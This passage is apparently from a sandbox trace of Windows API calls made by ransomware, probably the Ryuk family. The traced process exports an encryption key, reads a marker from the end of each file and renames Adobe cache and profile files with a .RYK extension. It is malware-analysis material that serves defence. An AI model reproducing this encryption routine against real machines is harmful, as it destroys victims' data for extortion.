	[0245.949] WriteFile (in: hFile=0x3dc, lpBuffer=0x3580000*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x982f5e4, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesWritten=0x982f5e4*=0xa80, lpOverlapped=0x0) returned 1
	[0245.949] WriteFile (in: hFile=0x3dc, lpBuffer=0x982f610*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x982f5f0, lpOverlapped=0x0 | out: lpBuffer=0x982f610*, lpNumberOfBytesWritten=0x982f5f0*=0x6, lpOverlapped=0x0) returned 1
	[0245.949] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x982f600 | out: pbData=0x0*, pdwDataLen=0x982f600*=0x10c) returned 1
	[0245.949] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x982f670, pdwDataLen=0x982f600 | out: pbData=0x982f670*, pdwDataLen=0x982f600*=0x10c) returned 1
	[0245.949] WriteFile (in: hFile=0x3dc, lpBuffer=0x982f670*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x982f5f0, lpOverlapped=0x0 | out: lpBuffer=0x982f670*, lpNumberOfBytesWritten=0x982f5f0*=0x10c, lpOverlapped=0x0) returned 1
	[0245.950] CloseHandle (hObject=0x3dc) returned 1
	[0245.985] CryptDestroyKey (hKey=0x3f7b60) returned 1
	[0245.986] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2562
	os_tid = 0x2ddc

	[0245.739] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst", dwFileAttributes=0x80) returned 1
	[0245.739] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0245.740] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x9a1fcb8 | out: lpFileSize=0x9a1fcb8*=35394) returned 1
	[0245.740] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x9a1fcc8 | out: lpFileSize=0x9a1fcc8*=35394) returned 1
	[0245.740] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.740] ReadFile (in: hFile=0x3d0, lpBuffer=0x9a1fd10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9a1fc80, lpOverlapped=0x0 | out: lpBuffer=0x9a1fd10*, lpNumberOfBytesRead=0x9a1fc80*=0x19, lpOverlapped=0x0) returned 1
	[0245.740] CloseHandle (hObject=0x3d0) returned 1
	[0245.741] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwFlags=0x8) returned 1
	[0245.745] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2578
	os_tid = 0x2e1c

	[0245.747] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst", dwFileAttributes=0x80) returned 0
	[0245.747] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.747] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.748] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2579
	os_tid = 0x2e20

	[0245.749] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst", dwFileAttributes=0x80) returned 1
	[0245.750] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0245.750] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x8cbf8b8 | out: lpFileSize=0x8cbf8b8*=53474) returned 1
	[0245.750] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x8cbf8c8 | out: lpFileSize=0x8cbf8c8*=53474) returned 1
	[0245.750] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.750] ReadFile (in: hFile=0x3d0, lpBuffer=0x8cbf910, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8cbf880, lpOverlapped=0x0 | out: lpBuffer=0x8cbf910*, lpNumberOfBytesRead=0x8cbf880*=0x19, lpOverlapped=0x0) returned 1
	[0245.750] CloseHandle (hObject=0x3d0) returned 1
	[0245.751] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwFlags=0x8) returned 1
	[0245.756] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2580
	os_tid = 0x2e24

	[0245.757] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents", dwFileAttributes=0x80) returned 0
	[0245.757] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.757] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.758] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\shareddataevents"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2593
	os_tid = 0x2e5c

	[0245.924] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin", dwFileAttributes=0x80) returned 0
	[0245.924] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.924] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.926] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\usercache.bin"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2594
	os_tid = 0x2e60

	[0245.927] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst", dwFileAttributes=0x80) returned 0
	[0245.927] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.927] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.927] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\acecache11.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\acecache11.lst.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2595
	os_tid = 0x2e64

	[0245.929] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc", dwFileAttributes=0x80) returned 1
	[0245.936] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.936] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.936] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\profiles\\wscrgb.icc"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2596
	os_tid = 0x2e68

	[0245.930] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc", dwFileAttributes=0x80) returned 1
	[0245.947] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.947] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.947] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\profiles\\wsrgb.icc"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2597
	os_tid = 0x2e6c

	[0245.930] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0245.931] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0245.931] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x8d1fb38 | out: lpFileSize=0x8d1fb38*=35394) returned 1
	[0245.932] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x8d1fb48 | out: lpFileSize=0x8d1fb48*=35394) returned 1
	[0245.932] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.932] ReadFile (in: hFile=0x3fc, lpBuffer=0x8d1fb90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d1fb00, lpOverlapped=0x0 | out: lpBuffer=0x8d1fb90*, lpNumberOfBytesRead=0x8d1fb00*=0x19, lpOverlapped=0x0) returned 1
	[0245.932] CloseHandle (hObject=0x3fc) returned 1

Thread:
	id = 2598
	os_tid = 0x2e70

	[0245.933] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0245.934] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0245.934] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x913f7d8 | out: lpFileSize=0x913f7d8*=138738) returned 1
	[0245.934] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x913f7e8 | out: lpFileSize=0x913f7e8*=138738) returned 1
	[0245.934] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.934] ReadFile (in: hFile=0x3fc, lpBuffer=0x913f830, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x913f7a0, lpOverlapped=0x0 | out: lpBuffer=0x913f830*, lpNumberOfBytesRead=0x913f7a0*=0x19, lpOverlapped=0x0) returned 1
	[0245.934] CloseHandle (hObject=0x3fc) returned 1

Thread:
	id = 2611
	os_tid = 0x2e74

	[0246.099] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.099] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410
	[0246.100] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x9caf5f8 | out: lpFileSize=0x9caf5f8*=53474) returned 1
	[0246.100] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x9caf608 | out: lpFileSize=0x9caf608*=53474) returned 1
	[0246.100] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.100] ReadFile (in: hFile=0x410, lpBuffer=0x9caf650, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9caf5c0, lpOverlapped=0x0 | out: lpBuffer=0x9caf650*, lpNumberOfBytesRead=0x9caf5c0*=0x19, lpOverlapped=0x0) returned 1
	[0246.100] CloseHandle (hObject=0x410) returned 1

Thread:
	id = 2612
	os_tid = 0x2ea8

	[0246.101] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0246.102] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410
	[0246.102] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x8d5fad8 | out: lpFileSize=0x8d5fad8*=5410) returned 1
	[0246.102] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x8d5fae8 | out: lpFileSize=0x8d5fae8*=5410) returned 1
	[0246.102] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.103] ReadFile (in: hFile=0x410, lpBuffer=0x8d5fb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d5faa0, lpOverlapped=0x0 | out: lpBuffer=0x8d5fb30*, lpNumberOfBytesRead=0x8d5faa0*=0x19, lpOverlapped=0x0) returned 1
	[0246.103] CloseHandle (hObject=0x410) returned 1

Thread:
	id = 2613
	os_tid = 0x2eac

	[0246.104] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin", dwFileAttributes=0x80) returned 0
	[0246.104] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0246.104] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0246.104] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2614
	os_tid = 0x2eb0

	[0246.105] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.106] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410
	[0246.106] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x909fbb8 | out: lpFileSize=0x909fbb8*=1458) returned 1
	[0246.106] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x909fbc8 | out: lpFileSize=0x909fbc8*=1458) returned 1
	[0246.106] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.106] ReadFile (in: hFile=0x410, lpBuffer=0x909fc10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x909fb80, lpOverlapped=0x0 | out: lpBuffer=0x909fc10*, lpNumberOfBytesRead=0x909fb80*=0x19, lpOverlapped=0x0) returned 1
	[0246.106] CloseHandle (hObject=0x410) returned 1

Thread:
	id = 2615
	os_tid = 0x2eb4

	[0246.108] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0246.108] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410
	[0246.108] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x922fc58 | out: lpFileSize=0x922fc58*=66498) returned 1
	[0246.108] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x922fc68 | out: lpFileSize=0x922fc68*=66498) returned 1
	[0246.108] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.108] ReadFile (in: hFile=0x410, lpBuffer=0x922fcb0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x922fc20, lpOverlapped=0x0 | out: lpBuffer=0x922fcb0*, lpNumberOfBytesRead=0x922fc20*=0x19, lpOverlapped=0x0) returned 1
	[0246.108] CloseHandle (hObject=0x410) returned 1

Thread:
	id = 2616
	os_tid = 0x2eb8

	[0246.110] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
